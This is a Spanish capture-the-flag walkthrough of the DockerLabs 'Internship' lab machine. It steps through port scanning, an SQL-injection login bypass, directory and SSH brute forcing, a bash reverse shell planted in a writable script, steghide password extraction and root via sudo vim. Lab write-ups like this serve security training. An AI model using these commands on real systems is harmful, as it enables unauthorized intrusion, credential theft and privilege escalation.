> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/internship.md).

# Internship

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Internship** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos la herramienta `7z` para descomprimir el archivo `internship.zip` con el siguiente comando:

```bash
7z x internship.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FIDA2X8wDrMKYnTmFtiE6%2FPasted%20image%2020250726094906.png?alt=media&amp;token=16f35567-8c0a-4a15-bed1-766826200572" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh internship.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FbQHwfl0eBUmmhSgG7Zo6%2FPasted%20image%2020250726094952.png?alt=media&amp;token=e14526e9-b0b0-4581-b917-64ca2dfb2b5b" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FuwSMQFkSbgvkHRDRvFyu%2FPasted%20image%2020250726095101.png?alt=media&amp;token=793d765f-0bdb-4124-a2d7-6f636e713b4e" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Resultados:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FsLpCuNsNMJ8Yd3F2TPhB%2FPasted%20image%2020250726095201.png?alt=media&amp;token=44f4f4e3-eae3-4cbd-a5c1-9846952cf372" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Detalles:**

* **SSH:** OpenSSH 9.2p1.
* **HTTP:** Apache 2.4.62 con un título "GateKeeper HR | Tu Portal de Recursos Humanos".

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FRmJYn3tY0RhKJi6kb9yY%2FPasted%20image%2020250726095251.png?alt=media&amp;token=6dbc8fb6-41c8-44b4-9e81-5470d99ad9cd" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Al acceder a `http://172.17.0.2/` desde el navegador, observamos una página con varios botones que no funcionan. Esto sugiere la existencia de un dominio.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2hRliX2DBzuWlHKkhY9u%2FPasted%20image%2020250726095318.png?alt=media&amp;token=c1ed276d-e52d-4a0d-9f8a-1ef640feabde" alt=""><figcaption></figcaption></figure>

Inspeccionando el código fuente, encontramos:

```html
<link rel="dns-prefetch" href="//gatekeeperhr.com" />
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FCJR1SW1LvxKunqmTEixM%2FPasted%20image%2020250726095352.png?alt=media&amp;token=806cf1bd-0213-41c2-8498-84391e2ad8d9" alt=""><figcaption></figcaption></figure>

Añadimos el dominio al archivo `/etc/hosts` para resolverlo correctamente:

```bash
172.17.0.2 gatekeeperhr.com
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FBQj85bC4qUma6Fz8gSMe%2FPasted%20image%2020250726095542.png?alt=media&amp;token=ec12b318-829a-4eae-93dc-75ec7e2f8bdf" alt=""><figcaption></figcaption></figure>

Ahora, al acceder a `http://gatekeeperhr.com/`, los botones funcionan como se esperaba.

### **3. Explotación**

#### **3.1. Inyección SQL**

En el botón "Iniciar Sesión", probamos una inyección SQL básica:

```sql
' or 1=1 -- -
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fg4lnSBCijlfrdR3iP3P5%2FPasted%20image%2020250726095647.png?alt=media&amp;token=40d1b8e9-2617-4e79-9235-8028fdd6e85e" alt=""><figcaption></figcaption></figure>

Esta inyección nos permite eludir el sistema de autenticación y acceder al panel de control, donde encontramos una lista de nombres de usuarios potenciales.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPeGMWZuasSYfugRShSPI%2FPasted%20image%2020250726095655.png?alt=media&amp;token=40743340-6196-464c-9dbf-37cc51812c69" alt=""><figcaption></figcaption></figure>

Guardamos estos nombres en un archivo llamado `usuarios.txt` para su uso posterior.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FHx1jodPVy8PQ7gPKErHi%2FPasted%20image%2020250726100006.png?alt=media&amp;token=17c9fa88-05e2-4043-9612-5a0d772cfe7c" alt=""><figcaption></figcaption></figure>

#### **3.2. Fuerza bruta con Gobuster**

Realizamos un ataque de fuerza bruta para descubrir directorios ocultos:

```bash
gobuster dir -u http://gatekeeperhr.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fo9PpgVcMIW9uzM5U3k3Y%2FPasted%20image%2020250726100245.png?alt=media&amp;token=e3df9fc9-201e-44f9-86ea-586ebd02ccdd" alt=""><figcaption></figcaption></figure>

Encontramos el directorio `/spam`, que contiene un comentario en el código fuente:

```html
<!-- Yn pbagenfrñn qr hab qr ybf cnfnagrf rf 'checy3' -->
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FzvKNVJBQyb9J5uObGQRi%2FPasted%20image%2020250726100218.png?alt=media&amp;token=161ba1fd-df7a-4572-9ef8-6943b3620614" alt=""><figcaption></figcaption></figure>

Decodificando este texto con [ROT13](https://www.rot13.app/), obtenemos:

```
La contraseña de uno de los pasantes es 'purpl3'
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F6sgg2w4earl01ujPJBEV%2FPasted%20image%2020250726100346.png?alt=media&amp;token=85b2be7f-46d1-4799-99f9-350a01d59ced" alt=""><figcaption></figcaption></figure>

#### **3.3. Fuerza bruta con Hydra**

Utilizamos `hydra` para probar la contraseña `purpl3` con la lista de usuarios encontrada anteriormente:

```bash
hydra -L usuarios.txt -p purpl3 ssh://172.17.0.2
```

Obtenemos credenciales válidas para el usuario `pedro`:

```bash
[22][ssh] host: 172.17.0.2   login: pedro   password: purpl3
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZUX5TNKzpKz5PTwNz6NQ%2FPasted%20image%2020250726100513.png?alt=media&amp;token=14b5b581-5fff-4403-a0e4-4c62781e4e33" alt=""><figcaption></figcaption></figure>

Accedemos al sistema mediante SSH:

```bash
ssh pedro@172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FV6SIFrgkc35KIUPnq9VO%2FPasted%20image%2020250726100642.png?alt=media&amp;token=5782ae61-16cb-41b7-93ed-a0f2199db062" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Del usuario pedro a valentina**

Dentro del sistema, investigamos el directorio `/opt` y encontramos un script llamado `log_cleaner.sh` con permisos de escritura. Modificamos el script para incluir una [reverse shell](https://www.revshells.com/):

```bash
/bin/bash -i >& /dev/tcp/100.100.100.4/123 0>&1
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2eLDQiM8dYDYII0kXLhr%2FPasted%20image%2020250726100942.png?alt=media&amp;token=06c9c443-3653-4bb4-a181-40c064b95e0f" alt=""><figcaption></figcaption></figure>

Nos ponemos en escucha en nuestro equipo:

```bash
nc -nvlp 123
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FPYIPLeopl3m7jvKeqI24%2FPasted%20image%2020250726101027.png?alt=media&amp;token=0b511c64-6dad-4950-a90e-276709be0edc" alt=""><figcaption></figcaption></figure>

Ejecutamos el script con el siguiente comando:

```bash
bash log_cleaner.sh
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FYVB0v922c3gDQca949q6%2FPasted%20image%2020250726101127.png?alt=media&amp;token=2fb2fd1b-5c86-42f0-be29-7a9aedae9da2" alt=""><figcaption></figcaption></figure>

Obtenemos una shell como el usuario `valentina`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FrfIdOQBIdVeCmrUR8uiF%2FPasted%20image%2020250726101152.png?alt=media&amp;token=fde75da0-4c11-466b-aa76-777349cadf00" alt=""><figcaption></figcaption></figure>

#### **4.2. Extracción de credenciales ocultas**

En el directorio `/home/valentina`, encontramos un archivo llamado `profile_picture.jpeg`.

Movemos el archivo `profile_picture.jpeg` al directorio temporal `/tmp`:

```bash
mv profile_picture.jpeg /tmp
```

Cambiamos los permisos del archivo para evitar posibles problemas:

```bash
chmod 777 /tmp/profile_picture.jpeg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FhDTMS1n35jcCsCHCy3vG%2FPasted%20image%2020250726103811.png?alt=media&amp;token=1a3e8d50-1126-4042-ad34-101e0d2c6c8f" alt=""><figcaption></figcaption></figure>

Nos montamos un servidor HTTP con PHP para descargarnos la imagen en nuestro equipo:

```bash
php -S 0.0.0.0:1212 -t /tmp
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F7XnGqBRBhd8Sr8RjnKHR%2FPasted%20image%2020250726104133.png?alt=media&amp;token=13227049-8b9c-4e6c-8858-34bb7d78c066" alt=""><figcaption></figcaption></figure>

Desde nuestro equipo, ejecutamos el siguiente comando para descargarnos la imagen:

```bash
wget http://172.17.0.2:1212/profile_picture.jpeg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fw4hIJqzgjLTyHr77byNe%2FPasted%20image%2020250726104215.png?alt=media&amp;token=5ed30a83-50a1-492b-854c-bac71e04ed41" alt=""><figcaption></figcaption></figure>

Abrimos la imagen pero no nos proporciona ningún tipo de información que nos ayude a seguir completando la máquina.

Utilizamos `steghide` para extraer información oculta:

```bash
steghide info profile_picture.jpeg
```

Descubrimos un archivo oculto llamado `secret.txt`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F9hI3nl09J4MGyK434MmJ%2FPasted%20image%2020250726104339.png?alt=media&amp;token=dae04557-0df3-4e28-8a44-6ab68d1e6cd0" alt=""><figcaption></figcaption></figure>

Lo extraemos y encontramos la contraseña del usuario `valentina`:

```bash
steghide extract -sf profile_picture.jpeg
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FNUbVJZfeEWPhhyQgZ7Z7%2FPasted%20image%2020250726104428.png?alt=media&amp;token=ea9a0e6a-df4c-42f5-a5a7-25846cf28a89" alt=""><figcaption></figcaption></figure>

#### **4.3. Abuso de sudoers**

Verificamos los privilegios de `valentina` con `sudo -l`:

```bash
(ALL : ALL) PASSWD: ALL, NOPASSWD: /usr/bin/vim
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fprd5u9ftVD2zkn3DMU0W%2FPasted%20image%2020250726104458.png?alt=media&amp;token=e6f18e5a-b8b5-4d84-a103-f0856d4a1b3d" alt=""><figcaption></figcaption></figure>

Utilizamos `vim` para escalar privilegios siguiendo la guía de [GTFOBins](https://gtfobins.github.io/gtfobins/vim/):

```bash
sudo vim -c ':!/bin/sh'
```

Esto nos otorga una shell como `root`, completando con éxito la explotación de la máquina.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZ9n4iVgIJ0bYPgVQXDaq%2FPasted%20image%2020250726104608.png?alt=media&amp;token=36641027-a0be-4e21-b526-0544962a1051" alt=""><figcaption></figcaption></figure>
